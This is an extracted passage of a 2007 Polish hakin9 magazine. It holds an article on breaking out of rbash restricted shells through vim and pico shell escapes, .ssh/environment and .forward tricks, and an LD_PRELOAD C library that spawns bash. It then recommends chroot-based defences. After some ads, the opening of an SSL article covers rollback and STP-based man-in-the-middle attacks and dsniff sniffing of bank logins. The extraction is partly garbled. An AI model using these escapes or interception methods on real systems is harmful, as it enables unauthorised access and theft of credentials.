ku /etc/profile znajdują się globalne
ustawienia. Aby wpisy z tego pliku nie
miały wpływu na ustawienia powłoki

rbash, jego zawartość należy zamie-
ścić w ramach instrukcji warunkowej:

if [ ”$0” = ”-bash” ]; then
#tutaj wstawić dotychczasową zawartość#
#pliku /etc/profile #
fi

Natomiast lokalny plik ustawień

.bash_profile powinien zawierać tyl-
ko jedną linijkę – określającą ścież-
kę do katalogu z przygotowanymi
wcześniej programami:

export PATH=/usr/local/rbin

Ewentualnie,  jeśli  chcemy  odebrać
użytkownikowi  możliwość  wykony-
wania niektórych poleceń wewnętrz-
nych, musimy na końcu pliku dopisać
linijkę  zawierającą  komendę

enable

–n

, po której podajemy komendy, ja-

kie chcemy wyłączyć. Np.:

enable –n pwd unset

Jak to działa?

Gdy użytkownik zaloguje się do sys-
temu  (ssh),  zostanie  przeniesio-
ny  do  katalogu  domowego,  a  na-
stępnie  uruchomiana  jest  powłoka

/bin/rbash. Powłoka wczytuje pliki
konfiguracyjne poczynając od /etc/

profile. Instrukcja warunkowa zawar-
ta na początku sprawdza, czy zero-
wy argument (

argv[0]

) jest równy cią-

gowi znaków -bash. W przypadku
powłoki rbash argument

jest równy

-rbash toteż polecenia zgromadzo-
ne wewnątrz warunku

nie zosta-

Rysunek 1.

Ograniczenia wprowadzane przez powłokę rbash

Błąd w programie bash

Na  niektórych  systemach  utworzenie
linku  rbash  oraz  ustawienie  go  jako
shella  nie  przynosi  zamierzonego  re-
zultatu – powłoka nie rozpoczyna pra-
cy w trybie restrykcyjnym. Jest to błąd,
który został załatany w wersji 3.0 pro-
gramu  bash.  Można  ominąć  ten  pro-
blem  poprzez  utworzenie  pośrednie-
go skryptu:

#!/bin/bash
/bin/rbash –l

Taki skrypt należy zapisać jako np.
/bin/rshell, nadać mu prawo wykonywa-
nia, a następnie ustawić go jako powło-
kę. Po zalogowaniu powinniśmy otrzy-
mać rbasha działającego już z restryk-
cjami. Lepiej jednak rozważyć aktualiza-
cję do wersji 3.0.

hakin9 Nr 8/2007

www.hakin9.org

Atak

ną wykonane. Powłoka przejdzie do
wykonania lokalnego pliku konfigura-
cyjnego – .bash_profile, który ustawi
zmienną środowiskową

PATH

. Dziwić

może fakt zmiany tej zmiennej, gdyż
zgodnie z tym, co wcześniej napisa-
łem – jednym z ograniczeń powłoki

rbash jest ustawienie zmiennej

PATH

w stan tylko do odczytu. Powodowa-
ne jest to tym, że wszystkie wymie-
nione ograniczenia wprowadzane są
dopiero po załadowaniu plików star-
towych (dlatego tak istotne jest usta-
wienie właściwych uprawnień).

Wydostajemy

się z pułapki

Utworzone według przedstawionego
schematu  restrykcyjne  środowisko
zdaje  się  być  bezpieczne.  Niestety,
bezpieczeństwo  to  jest  ściśle  zwią-
zane z udostępnionymi programami,
jak też z – pozornie niezwiązanymi z
tym  środowiskiem  –  usługami  dzia-
łającymi  na  serwerze.  Poniżej  po-
staram się pokazać kilka przykłado-
wych sytuacji, w których możliwe jest
ominięcie zabezpieczeń powłoki.

Operacje na plikach

Niektórzy  administratorzy  zapomi-
nają o fakcie, że restrykcyjna powło-
ka rbash nie zamyka użytkownika w
specjalnie  odseparowanym  drzewie
katalogów  (wykorzystując  funkcję

chroot()

) – blokuje ona jednie zmia-

nę katalogu za pomocą komendy

Zapominają również o tym, że odwo-
łania do plików zawierających ścież-
kę dostępową blokowane są tylko w
przypadku, gdy użytkownik próbu-
je odwołać się bezpośrednio do apli-
kacji np. /bin/ls lub też wykonać in-
strukcje

exec /etc/profile

czy

source

/etc/profile

. Oznacza to, że jeśli

użytkownik ma dostęp do programu

pico, to nic nie stoi na przeszkodzie,
aby po wydaniu komendy:

pico /etc/

passwd

ujrzał on plik passwd.

Shell escape

Większość  programów  nie  była  nie-
stety  pisana  pod  kątem  współpracy
z  restrykcyjnymi  powłokami.  Niektóre
z  nich  zawierają  wbudowaną  funkcję
pozwalającą na odwołanie się do po-
włoki (shell escape). Zazwyczaj funk-

cję  tą  wywołuje  się  przy  użyciu  zna-
ku  !.  Przydaje  się  to  np.  w  momen-
cie,  gdy  pracując  pod  kontrolą  klien-
ta FTP chcemy obejrzeć listę plików w
bieżącym katalogu. Nie musimy wtedy
otwierać  nowej  sesji  SSH,  wystarczy
bowiem, że wydamy w linii poleceń ko-
mendę:

! ls -l

. Przykłady standardo-

wych programów dostępnych w syste-
mie i oferujących shell escape: telnet,

mail, ftp, less, more, vi, gdb, lynx.

Można by się spodziewać, że

przekazane  komendy  zostaną  wy-
konane  w  oparciu  o  powłoką  zdefi-
niowaną  w  zmiennej

SHELL

– w na-

szym  przypadku  /bin/rbash.  Nieste-
ty  nie  zawsze  tak  jest.  Część  pro-
gramów nie zwraca uwagi na zmien-
ne środowiskowe  – wykonując prze-
kazane polecenia przy użyciu trwa-
le ustalonej (w kodzie programu) po-
włoki – /bin/bash czy też /bin/sh.

Ciekawym przykładem może być

tutaj program vim. Zwraca on wpraw-
dzie uwagę na zmienną środowisko-
wą

SHELL

– po rozpoczęciu pracy ko-

piuje  jej  zawartość  do  wewnętrznej
zmiennej shell. Problem polega jed-
nak  na  tym,  że  ustawienia  progra-
mu vim możemy dowolnie edytować
w  czasie  jego  działania.  Wystarczą
do tego dwie komendy wydane w li-
nii poleceń, (do której dostaniemy się
sekwencją klawiszy [ESC][:]) :

•

set shell=/bin/bash

•

shell

Możemy również wydać te dwie ko-
mendy już przy wywołaniu edytora

vim. Służy do tego parametr

--cmd

, co

ilustruje Rysunek 3. W efekcie, otrzy-
mamy powłokę bash, bez restrykcji.
Warto tutaj zaznaczyć, że vim pozwa-
la na zablokowanie możliwości korzy-
stania z powłoki. Wystarczy, że – po-
dobnie jak w przypadku basha – utwo-
rzymy link symboliczny o nazwie rvim.
Od tej pory, próba wykonania komen-
dy

shell

skończy się komunikatem:

Shell commands not allowed in rvim

Rysunek 2.

Użycie funkcji shell escape w programach telnet, gdb oraz ftp

Rysunek 3.

Uruchomienie powłoki /bin/bash przy pomocy funkcji shell

edytora vim

Restrykcyjne powłoki

hakin9 Nr 8/2007

www.hakin9.org

Odwołania do pomocniczych

programów

Niektóre  programy  użytkowe,  mając
na  celu  przeprowadzenie  pewnych
operacji,  odwołują  się  do  zewnętrz-
nych  aplikacji,  np.  popularny  edy-
tor  pico  odwołuje  się  do  programu

ispell, w celu sprawdzenia poprawno-
ści edytowanego tekstu, przeglądar-
ki links oraz lynx wywołują program
pocztowy, ilekroć otworzymy link za-
czynający się od mailto: itd.

Problem pojawia się w momen-

cie,  gdy  użytkownik  ma  możliwość
określenia ścieżki do programu. Nic
nie stoi wtedy na przeszkodzie, aby
zamiast ścieżki do programu  ispell
–   podać ścieżkę do zupełnie innej
aplikacji. W zależności od sposobu,
w jaki uruchamiany jest zewnętrzny
program (w tym użyte przełączniki)
– istnieje szansa na poprawne wy-

konanie wybranej przez nas aplika-
cji, którą może być program bash.

W przypadku programu pico

sprawa jest prosta. Ścieżkę do pro-
gramu ispell możemy zmieniać za
pomocą przełącznika

-s

pico -s /bin/bash

Po uruchomieniu edytora, wpisujemy
komendy, jakie chcemy przekazać do
powłoki bash, oddzielając je znakami
nowej  linii.  Edycję  kończymy  kombi-
nacją  klawiszy  [CTRL][T],  która  od-
powiada  za  przekazanie  bufora  edy-
cji do zdefiniowanego programu. Prze-
kazanie to odbywa się poprzez zapis
bufora do tymczasowego pliku, a da-
lej przekazanie ścieżki do niego jako
argument:

/bin/bash /tmp/pico.xxxx

Efektem tak utworzonego polecenia,
będzie zinterpretowanie tymczaso-
wego pliku pico – zupełnie tak, jakby
był on zwyczajnym skryptem bash.

Sporo programów pozwala na

zdefiniowanie  ulubionego  edyto-
ra  tekstu  (np.  pine).  Nawet  jeśli  nie
widać  możliwości  dokonania  takiej
zmiany  w  konfiguracji  samego  pro-
gramu  ani  w  dostępnych  przełącz-
nikach  -  należy  sprawdzić,  czy  pro-
gram nie korzysta ze zmiennej środo-
wiskowej o nazwie

EDITOR

lub

VISUAL

Zmienne te nie są chronione przez
restrykcje rbasha, a zatem można
przypisać im dowolną ścieżkę.

Podmiana zmiennej $SHELL

Jeżeli na serwerze działa serwer SSH,
a opcja

PermitUserEnvironment

znajdu-

jąca się w pliku konfiguracyjnym usłu-
gi sshd_config jest ustawiona na

(opcja ta domyślnie jest wyłączona)
– istnieje szansa na zmianę niektó-
rych zmiennych środowiskowych, któ-
re mogą mieć poważny wpływ na dzia-
łanie rbasha. Jest to możliwe, gdyż de-

amon sshd zaraz po uwierzytelnie-
niu użytkownika ustawia podstawo-
we zmienne środowiskowe, a następ-
nie wczytuje plik .ssh/environment, je-
śli takowy istnieje. Przypuśćmy, że w
pliku tym znalazłaby się linijka:

SHELL=/bin/bash

Co się wtedy stanie? Deamon SSH
po zalogowaniu użytkownika ustawi
zmienną

SHELL

na wartość /bin/rbash

w oparciu o informacje z pliku passwd,
jednak zaraz po odczycie pliku envi-

ronment zmienna ulegnie nadpisaniu.

Do przeprowadzenia takiego ata-

ku konieczne jest (oprócz wspomnia-
nej konfiguracji sshd) istnienie ka-
talogu .ssh (ewentualnie dostęp do
polecenia

mkdir

) z możliwością zapi-

su. Gdy katalog domowy ma upraw-
nienia +rx, możemy w prosty sposób
wylistować jego zawartość- używa-
jąc (wbudowanej) komendy

echo *

Konieczny będzie również dostęp do
aplikacji, która pozwoli na utworze-
nie pliku environment. Nie musi to być
edytor tekstu, równie dobrze w tej ro-
li sprawdzi się popularny klient pocz-
towy pine.

Rysunek 4.

Zmiana ścieżki programu obsługującego protokół mail w

programie links

Rysunek 5.

Wykorzystanie funkcji sprawdzającej pisownię w pico, do

wykonania poleceń powłoki bash

hakin9 Nr 8/2007

www.hakin9.org

Atak

Cała operacja sprowadza się do

wysłania pliku environment mailem
z innego konta, odebrania maila oraz
skorzystania z funkcji programu pine,
która umożliwia zapis treści maila w
podanej lokalizacji. Funkcja ta jest do-
stępna po wybraniu opcji ViewAttach.

Jeśli zapis się powiedzie, po po-

nownym zalogowaniu na konto zmien-
na

SHELL

powinna zostać zamieniona.

Dzięki temu, możliwe stanie się sko-
rzystanie z – wcześniej omówionej
– funkcji shell escape, któregoś z do-
stępnych programów, np. telnet, w ce-
lu wykonania poleceń w oparciu o
zdefiniowaną przez nas powłokę.

.forward

Plik .forward umieszczony w katalo-
gu  domowym  użytkownika  używa-
ny  jest  przez  program  sendmail  w
celu  przekierowania  maili  (przezna-
czonych dla użytkownika) pod wska-
zany  adres.  Oprócz  adresów  mailo-
wych, dozwolone jest podanie ścież-
ki  do  programu,  do  którego  chcemy
przesłać treść listu. Posiadając moż-
liwość  edycji  tego  pliku,  ustawiamy
go na:

john@mailserver.com

, ”| /bin/bash –c

nasza_komenda”

Nadchodzący mail zostanie wysłany
pod adres Johna, ale także na wej-
ście programu bash - powodując wy-
konanie naszej komendy.

Na szczęście taki atak nie powie-

dzie się w większości przypadków

–  ze  względu  na  to,  że  podane  po-
lecenie najczęściej zostaje wykona-
ne w oparciu o specjalną restrykcyj-
ną powłokę sendmaila zwaną smrsh.
Powłoka  ta  sprawia,  że  wykonane
mogą  zostać  jedynie  programy  za-
warte w katalogu /etc/smrsh.

Zmiana uprawnień

plików i katalogów

Jak  już  zdążyliśmy  się  przekonać
– uprawnienia nadane plikom czy ka-
talogom zawartym w katalogu domo-
wym  mają  ogromne  znaczenie.  Je-
żeli  administrator  omyłkowo  udo-
stępni komendę

chmod

, istnieje ryzy-

ko,  że  użytkownik  nada  katalogowi
domowemu prawo +w, co uprawni go
do  skasowania  pliku  .bash_profile.
Przy  kolejnym  zalogowaniu,  zmien-

PATH

nie zostanie ograniczona do

/usr/local/rbin – a co za tym idzie, ist-
nieje duże prawdopodobieństwo, że
w ścieżce znajdzie się katalog /bin
(a to już tylko krok od uruchomienia
normalnego basha).

Czasami istnieje możliwość zmia-

ny uprawnień bez użycia programu

/bin/chmod. Wyobraźmy sobie, że na
tym samym serwerze działa usługa
FTP. O ile administrator nie ograniczył
dostępu do tej usługi, a także nie wpro-
wadził restrykcji na instrukcję FTP SI-
TE CHMOD, użytkownik po połącze-
niu na port 21 może wydać komen-
dę

chmod 777

, aby dalej bez większych

przeszkód wykasować plik .bash_pro-

file lub też nadpisać go innym.

Przerwanie skryptu

startowego

Niejednokrotnie administratorzy two-
rząc  rozbudowane  skrypty  startowe
zapominają  o  obsłudze  sygnałów.
Spójrzmy  chociażby  na  skrypt  za-
warty w Listingu 1.

Wystarczy, że użytkownik w cza-

sie działania komendy

sleep 5

, wci-

śnie kombinację klawiszy [CTR-

L][C] – powodując wysłanie sygna-
łu

SIGINT

. Poskutkuje to natychmia-

stowym zakończeniem skryptu. Je-
żeli wykonanie komendy

export

nie

dojdzie do skutku, zmienna

PATH

nie

zostanie ustawiona, a tym samym
użytkownik nie zostanie ograniczony
do komend z katalogu rbin. Sygnały
mogą być kontrolowane za pomocą

Listing 1.

Nieco bardziej rozbudowany skrypt .bash_profile

echo

–

”

Witamy

serwerze

”

echo

bin

hostname

echo

”

Prosimy

zapoznac

sie

zasadami

”

cat

etc

motd

sleep

clear

export

PATH

usr

local

rbin

enable

–

pwd

Listing 2.

Współdzielona biblioteka, uruchamiająca powłokę bash

#include

<stdio.h>

void

localtime

()

{

unsetenv

(

"LD_PRELOAD"

);

system

(

"echo ok! && /bin/bash"

);

exit

(

);

}

Rysunek 6.

Wykorzystanie programu pine do zapisu pliku environment

Restrykcyjne powłoki

hakin9 Nr 8/2007

www.hakin9.org

funkcji

trap

. Zignorowanie sygnału

SIGINT

można uzyskać komendą:

trap ““ SIGINT

Załadowanie biblioteki

Bardzo  ciekawą  –  a  zarazem  dają-
cą duże szanse powodzenia – meto-
dą na wydostanie się z ograniczonej
powłoki, jest załadowanie wcześniej
utworzonej,  specjalnie  spreparowa-
nej  biblioteki.  Jest  to  możliwe,  gdyż
systemowy  linker/loader  (ld.so)  po-
zwala  na  określenie  współdzielonej
biblioteki, która zostanie załadowana
przed  wykonaniem  programu.  Daje
to z kolei szansę na nadpisanie wy-
branej  funkcji,  używanej  przez  uru-
chamiany (przez loader) program.

Ścieżkę do biblioteki, jaką ma dla

nas załadować linker, możemy wska-
zać na dwa sposoby - zapisując ją w
pliku /etc/ld.so.preload lub w zmien-
nej środowiskowej

LD _ PRELOAD

. Do-

stęp do pliku ld.so.preload ma tyl-
ko root – dlatego pozostaje posłuże-
nie się zmienną. Powłoka rbash nie
ustawia tej zmiennej w tryb readon-

ly. O ile administrator nie zabloko-
wał wszystkich komend służących
do zmiany środowiska (co się rzad-
ko zdarza), będziemy w stanie przy-
pisać do niej dowolną ścieżkę.

Oprócz dostępu do polecenia

zmieniającego środowisko, potrzeb-
ne będzie miejsce oraz sposób, w jaki
zapiszemy plik binarny biblioteki. Jeśli
mamy prawo zapisu do katalogu do-
mowego (lub jednego z podkatalogów)
oraz dostęp do FTP – problem rozwią-
zany. Gdy mamy dostęp do programu

pine, skompilowaną bibliotekę może-
my przesłać w załączniku maila. Pro-
gram pine nie nadaje prawa do wyko-
nywania zachowywanym załącznikom
– co jednak nie przeszkadza w zała-
dowaniu biblioteki dynamicznej przez

ld.so (wystarczy, że plik posiada pra-
wo +r) . Pozostaje problem miejsca, w
którym zapiszemy plik. Nawet jeśli nie
posiadamy prawa +w w obrębie całe-
go katalogu domowego, wciąż mamy
szansę na powodzenie naszych dzia-
łań. Możemy wykorzystać jeden z ka-
talogów na pliki tymczasowe, /tmp, lub

/var/tmp (nawet jeśli jest on zamonto-
wany jako noexec). Załóżmy jednak

najbardziej  restrykcyjny  scenariusz
–  nie  mamy  dostępu  do  FTP,  prawa
zapisu w katalogu domowym, a jedy-
ny przyznany nam program to prosty
kalendarzyk – cal. Okazuje się, że i z
tej sytuacji jest wyjście. Skoro do sys-
temu zalogowaliśmy się poprzez SSH,
najpewniej uda się skopiować nasz bi-
narny  plik  do  katalogu  /tmp  przy  po-
mocy scp.

Pozostaje napisanie współdzie-

lonej  biblioteki.  Jako  że  atak  bę-
dzie polegał na nadpisaniu jednej z
funkcji  atakowanego  programu  na-
szym  kodem  –  zanim  przystąpi-
my  do  tworzenia  biblioteki,  musimy
ustalić, z jakich funkcji on korzysta.
Trzymając się założonego scenariu-
sza,  przystępujemy  do  badania  je-
dynego programu, do którego mamy
dostęp  –  cal.  Aby  poznać  używane

przez ten program funkcje, możemy
wyświetlić tablicę symboli za pomo-
cą programu objdump, w następują-
cy sposób:

objdump –T /usr/bin/cal | grep GLIBC

Widzimy, że jedną z wykorzystywa-
nych funkcji, jest funkcja

localtime()

Posiadając tą informację, możemy
przystąpić do pisania programu bi-
blioteki.

Przedstawiony na Listingu 2

przykładowy kod języka C wykonuje
cztery czynności. A mianowicie: usu-
nięcie zmiennej

LD _ PRELOAD

ze śro-

dowiska (w celu uniknięcia ingeren-
cji w wykonywane dalej programy),
wyświetlenie tekstu ok!, uruchomie-
nie programu powłoki /bin/bash oraz
przerwanie działania programu (cal),

Rysunek 8.

Tablica symboli programu cal

Rysunek 7.

Ominięcie restrykcji poprzez nadpisanie $SHELL plikiem .ssh/

environment

hakin9 Nr 8/2007

www.hakin9.org

Atak

zaraz po zakończeniu pracy z po-
włoką. Kompilację należy przepro-
wadzić w taki oto sposób:

gcc -shared slibrary.c -o slibrary

Po przesłaniu biblioteki na serwer, je-
steśmy gotowi do przeprowadzenia
właściwej części ataku. Po zalogo-
waniu, ustawiamy zmienną środowi-
skową

LD _ PRELOAD

komendą

declare

lub

export

. Zakładamy tutaj, że biblio-

teka znajduje się w katalogu tmp:

declare –x LD_PRELOAD=/tmp/slibrary

Następnie uruchamiamy kalendarz,
pisząc po prostu

cal

. Jeśli wszystko

się powiedzie - program, w którymś
momencie swojego działania, odwo-
ła się do funkcji

localtime()

, pod którą

znajdzie się nasz kod. Powinniśmy uj-
rzeć napis ok! oraz znak zachęty no-
wej powłoki.

Jak się zabezpieczyć?

Przedstawione przykłady ataków po-
kazują, jak łatwo jeden źle dobrany
program (oferujący pozornie nieistot-
ną funkcję, jak ustawienia ulubione-
go edytora) może doprowadzić do
wydostania się z restrykcyjnej po-
włoki rbash. Czy można w jakiś sku-
teczny sposób sprawić, aby restryk-
cyjne środowisko stało się mniej za-

wodne? Z pomocą przychodzą dwa
projekty open source.

Pierwszy z nich – o nazwie ja-

il służy do utworzenia odseparowa-
nego  środowiska,  w  którym  zamy-
kany  zostaje  użytkownik  zaraz  po
zalogowaniu.  Środowisko  to  two-
rzone  jest  dzięki  wykorzystaniu
funkcji

chroot()

. Proces działają-

cy w środowisku chroot ograniczo-
ny  jest  do  określonego  katalogu  i
nie ma dostępu do głównego drze-
wa. Taki proces postrzega katalog,
w którym został zamknięty, jako ka-
talog  główny  –  root  (/).  Uzyskuje-
my  w  ten  sposób  zwiększone  bez-
pieczeństwo, gdyż użytkownik – nie
mogąc  wyjść  poza  przydzielone
procesowi drzewo – ma dostęp je-
dynie  do  plików  utworzonych  w  je-
go obrębie. Tyczy się to wszystkich
plików,  łącznie  z  bibliotekami,  pro-
gramami i plikami urządzeń. Projekt

jail znacznie ułatwia zgromadzenie
wszystkich plików, potrzebnych do
działania takiego środowiska.

Drugi projekt nosi nazwę Iron

Bars Shell – restricted system shell

for Linux/Unix. Jest to projekt restryk-
cyjnej powłoki, nazywanej w skrócie

ibsh.  Jest  ona  tworzona  z  myślą  o
bezpieczeństwie.  Jedną  z  głównych
idei  projektu  jest  zakazanie  wszyst-
kich operacji, które nie zostały jawnie
określone  jako  dozwolone.  Powłoka

oferuje  też  kilka  ciekawych  funkcji,
jak  kontrola  parametrów  wykonywa-
nych  poleceń,  logowanie  poczynań
użytkownika do sysloga czy też blo-
kowanie  dostępu  do  plików,  których
rozszerzenie  nie  znajduje  się  na  li-
ście  dozwolonych  rozszerzeń  utwo-
rzonej przez administratora (ustawie-
nie blokady na pliki *.c, zapobiegnie
kompilacji  potencjalnie  szkodliwych
źródeł C itp.). W ten sposób zyskuje-
my dużo większą kontrolę nad poczy-
naniami użytkownika.

Podsumowanie

Praktyka  pokazuje,  że  ciężko  jest
utworzyć restrykcyjne środowisko, ba-
zujące tylko na restrykcyjnej powłoce.
Trzeba  przewidzieć  każdy  ruch,  jaki
może wykonać użytkownik oraz solid-
nie zgłębić zasady działania każdego
z udostępnianych programów, pod ką-
tem oferowanych przezeń funkcji. Do-
branie bezpiecznych programów mo-
że stanowić niemały kłopot, gdyż, jak
się przekonaliśmy, nawet prosty edy-
tor tekstu potrafi zawierać funkcje po-
zwalające na dostęp do powłoki. Mo-
żemy  dojść  do  wniosku,  że  powłoka
restrykcyjna  powinna  być  stosowana
tylko jako uzupełnienie bardziej efek-
tywnych  technik  ograniczania  użyt-
kowników (jak chroot) lub ewentualnie
–  jako  powłoka  dla  początkujących
użytkowników systemu. l

Rysunek 9.

Wyjście z restrykcyjnego środowiska, dzięki załadowaniu

podstawionej biblioteki

O autorze

Autor jest samoukiem, pasjonatem, od
wielu lat interesującym się Informaty-
ką, a w szczególności aspektami bez-
pieczeństwa. Studiuje sieci komputero-
we w ramach programu Cisco Network
Academy na Politechnice Poznańskiej.
Kontakt z autorem:
golunski@crackpl.com

W Sieci

• http://www.jmcresearch.com/

projects/jail/ – strona domowa pro-
jektu Jail,

• http://ibsh.sourceforge.net – stro-

na domowa projektu Iron Bars-
Shell.

Media Systems

Firma Media Systems oferuje Państwu

profesjonalny system CashBill.pl,

umożliwiający zarządzanie usługami

SMS Premium Rate w sektorze B2B

i B2C.

Oferujemy również szeroki wachlarz

usług mikropłatniczych, płatności

elektronicznych oraz indywidualne, de-

dykowane rozwiązania przy budowie

aplikacji mobilnych.

TTS Company Sp. z o.o.

Oprogramowanie

komputerowe -

sprzedaż, dystrybucja oraz import na

zamówienie. W ofercie programy au-

torstwa ponad stu firm z całego świa-

ta. Zapraszamy do współpracy - zostań

naszym klientem lub dostawcą.

www.OprogramowanieKomputerowe.pl

Zepter IT

Zepter IT to dynamicznie rozwijająca

się firma, specjalizująca się w realiza-

cji projektów informatycznych.

Oferujemy rozwiązania dla biznesu

i zarządzania takie jak systemy ERP

czyli zarządzanie zasobami firmy, pod-

noszenie jakości i obniżanie kosztów.

Zepter IT świadczy również usługi in-

ternetowe - serwisy www, e-commerce,

tworzenie aplikacji internetowych oraz

systemów zarządzania treścią.

www.zepterit.com

Prenumerata PRO

t d

: 2

Petrosoft

Partner Microsoft Bussiness Solutions

Dynamics GP. Budowa sklepów inter-

netowych, serwisów WWW, prezentacji

multimedialnych. Budowa sieci LAN,

WAN, telekomunikacyjnych. Telefonia

stacjonarna, VoiceIP. Usługi outsor-

cingowe dla dużych firm z zakresu

informatyki i telekomunikacji. Opro-

gramowanie na zamówienia. Dostawa

serwerów, sprzętu, oprogramowania.

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

Hakowanie protokołu SSL

hakin9 Nr 8/2007

www.hakin9.org

sługujący  wersję  1.0  (dostępna  jest
również  wersja  1.1).  Coraz  częściej
protokół  SSL  wykorzystywany  jest
w  programach.  Ich  przykładem  jest
np. aplikacja The Bat!, zaś przykła-
dem  programu,  jaki  owego  rozwią-
zania nie obsługuje jest Flash Play-

er 9 beta (ma to być zresztą napra-
wione).  Ostatnio  coraz  popularniej-
szy staje się program Sylpheed, słu-
żący do obsługi poczty, a działający
na  systemie  Linux  lub  Unix.  Należy
zwrócić uwagę na to, że także w nim
brak obsługi SSL. Banki oprócz zwy-
kłego  uwierzytelniania  stosują  rów-
nież silniki oparte na tokenach, klu-
czach prywatnych itd. Token zabez-
pieczony jest czterocyfrowym kodem
PIN zakładanym przez użytkownika.

Jeśli bank wysyła wiadomość, i za-
szyfrowana jest ona za pomocą klu-
cza publicznego, to może zostać ona
rozszyfrowana wyłącznie przy uży-
ciu odpowiadającego mu klucza pry-
watnego i na odwrót.

Słabości

protokołu SSL 2.0

Protokół SSL w wersji 2.0 posiada
wiele słabości. Dokładny ich opis
znaleźć można w książce Erica Re-

scorla, SSL and TLS, Designing and

Building Secure Systems, Addison-

Wesley, 2000.

Protokół w tej wersji nie posiada

zabezpieczenia  procedury  nawiązy-
wania  połączenia.  Potencjalny  na-
pastnik  może  wymusić  użycie  sła-
bego  algorytmu  szyfrującego.  Algo-
rytmem  zapewniającym  integralność
przesyłanych  danych  w  ramach  po-
łączenia SSL w wersji 2.0 jest MD5.
Jest on postrzegany za niezbyt bez-
pieczny. Protokół SSL 2.0 używa rów-
nież tego samego klucza w celu za-
pewnienia poufności oraz integralno-
ści.  Oznacza  to,  że  złamanie  jedne-
go klucza umożliwi przeprowadzenie
ataku. Wersja 2.0 posiada autoryza-
cję i uwierzytelnianie protokołu SSL,
a nie HTTP. Umożliwia to przechwy-
cenie danych autoryzacyjnych klienta
przez trzecią stronę połączenia.

Atak SSL 2.0 Rollback

W wersji 3.0 została wprowadzona
możliwość nawiązania połączenia z

wersją 2.0. Ma to na celu zapewnie-
nie kompatybilności z aplikacjami ob-
sługującymi starszą wersję. Rozwią-
zanie to znajduje zastosowanie, jeśli
jedna ze stron nie wspiera wersji 3.0,
a  obie  wspierają  wersję  2.0.  Proce-
dura takiej degradacji nazywa się w
terminologii  SSL  procedurą  wycofa-
nia  (rollback).  Aby  zapobiec  atakom
typu MITM (Man-in-the-middle) klient
przechodzi w wersji 2.0 na inny tryb
kodowania.  Jeśli  serwer  to  wykryje,
uniemożliwi nawiązanie połączenia.

Ataki typu MITM są trudne do

wykonania,  a  zarazem  bardzo  nie-
bezpieczne.  Aby  przeprowadzić  taki
atak, należy przekonać switche, któ-
re są na połączeniu pomiędzy hosta-
mi,  jakie  atakujemy,    że  posiadamy

lepsze  połączenie  niż  one.  Musimy
mieć jednak fizyczne podłączenie do
obu z nich. Co prawda możliwe jest
przejęcie kontroli z różnych segmen-
tów, ale występuje wtedy problem ich
połączenia w celu przekazywania ra-
mek.  Wysyłając  BPDU  (przełączni-
ki  wysyłające  komunikaty,  aby  uzy-
skać  topologie  logiczną  bez  pętli)  z
ustawionymi mniejszymi kosztami do
każdego ze switchy, możemy je prze-
stawić  w  stan  Blocking  (zablokowa-
ny)  i  przekierować  ruch  przez  swo-
ją jednostkę.

Bezpieczeństwo

Należy zwrócić uwagę na to, iż atak,
o jakim tu mowa, jest bardzo trudny
do wykrycia przez końcowego użyt-
kownika, w stronę którego jest skie-
rowany. W przypadku DNS Spoofing
może  on  zobaczyć  podmianę  adre-
sów IP, a w przypadku ARP Spoofing
albo zauważy zmianę adresów MAC,
albo ma statyczną tablicę ARP z za-
pisanymi adresami ważnych hostów.
Jeśli  chodzi  o  atak  MITM,  nie  ma
możliwości  jego  wykrycia,  niewielką
wskazówką może być jedynie zwięk-
szenie  czasu  przesyłania  pakietów.
Jeśli pełni się funkcję administratora
Sieci, zadanie jest dość proste. Wy-
starczy  analizować  dzienniki  syste-
mowe pod kątem topologi STP i wy-
łapywać dziwne sytuacje. Można też
spróbować  wykryć  atak  za  pomocą
analizatorów ruchu sieciowego. Ana-
lizując  dzienniki  systemowe  zwróć-

Rysunek 1.

Certyfikat strony

jednego z banków, używającej do

logowania połączenia SSL

Rysunek 2.

Schemat ataku Man In the middle

Prawdziwy Client SSL

Maszyna atakującego

Fałszywy klient

Nieszyfrowane

połączenie SSL

Fałszywy serwer

......

Szyfrowane

połączenie SSL

hakin9 Nr 8/2007

www.hakin9.org

Atak

my szczególna uwagę na to, czy z ja-
kiegoś urządzenia nie brakuje logów,
czy nie występują zbyt częste ramki
BPDU oraz zmiany topologi Sieci.

Należy wyłączyć STP (proto-

kół używany w sieciach kompute-
rowych) tam, gdzie nie jest ono po-
trzebne do prawidłowej pracy Sieci.
Można też ustawić identyfikatory na
poszczególnych switchach.

Problemy związane

z cookies

Serwer WWW można skonfigurować
tak, aby udostępniał aplikację po-
przez HTTP i HTTPS.

W przypadku banku, połączenie

ma być jak najbardziej bezpieczne i
odbywać się tylko w postaci zaszy-
frowanej. Ma to zapobiec przechwy-
ceniu wysyłanych przez przeglądarkę

cookies. Ponadto, jeżeli łączymy się
poprzez HTTP, klient nie jest w stanie
sprawdzić, czy w połączeniu nie ma
osoby trzeciej.

Scenariusz

pierwszego ataku

Atakujący jest w miejscu, gdzie istnie-
je  możliwość  skorzystania  z  Interne-
tu.  Może  to  być  biblioteka  publiczna,
kawiarenka  internetowa,  restauracja,
hotel (Hot Spot), zwykła sieć lokalna,
itp. Pojawia się ofiara, która chce doko-
nać operacji bankowej. Napastnik uru-
chamia program podsłuchujący ruch w
sieci lokalnej np. Ethereal (Rysunek 3),

dsniff (Rysunek 4) lub inną aplikację
przechwytującą ruch w Sieci. Ethere-

al pracuje w środowisku Win32 lub Li-

nux i obsługuje aż 289 protokołów. Aby
uruchomić program, należy ustawić
adapter, zakres sieci i wcisnąć przycisk

Start. Na ekranie pojawi się okno konfi-
guracyjne przechwytywania transmisji.
Należy  tu  zwrócić  szczególną  uwagę
na wybranie prawidłowej karty siecio-
wej z listy dostępnych interfejsów. Roz-
poczęcie  pracy  programu  rozpocznie
się po naciśnięciu przycisku OK. Pro-
gram  zacznie  pracę.  Pojawi  się  okno
przechwytywania  pakietów.  Po  za-
kończeniu  działań  program  wyświetli
podsumowanie.  Program  dsniff  dzia-
ła w środowisku UNIX. Jego procedu-
ra działania wygląda następująco: uru-
chamiamy  konsolę,  przechodzimy  na
użytkownika root (robi się to przez ko-
mendę su), następnie w konsoli wpisu-
jemy:  dsniff  –opcja  –TuNaszAdapter.
Przykładowa  komenda  wygląda  tak:

dsniff -i eth1. Gdy nasza ofiara wcho-
dzi na stronę internetową banku i prze-
chodzi do strony logowania, sprawdza,
czy połączenie jest szyfrowane i uzna-
je je za bezpieczne. Wtedy przechodzi
do logowania na swoje konto. Atakują-
cy odbiera dane wpisywane przez ofia-
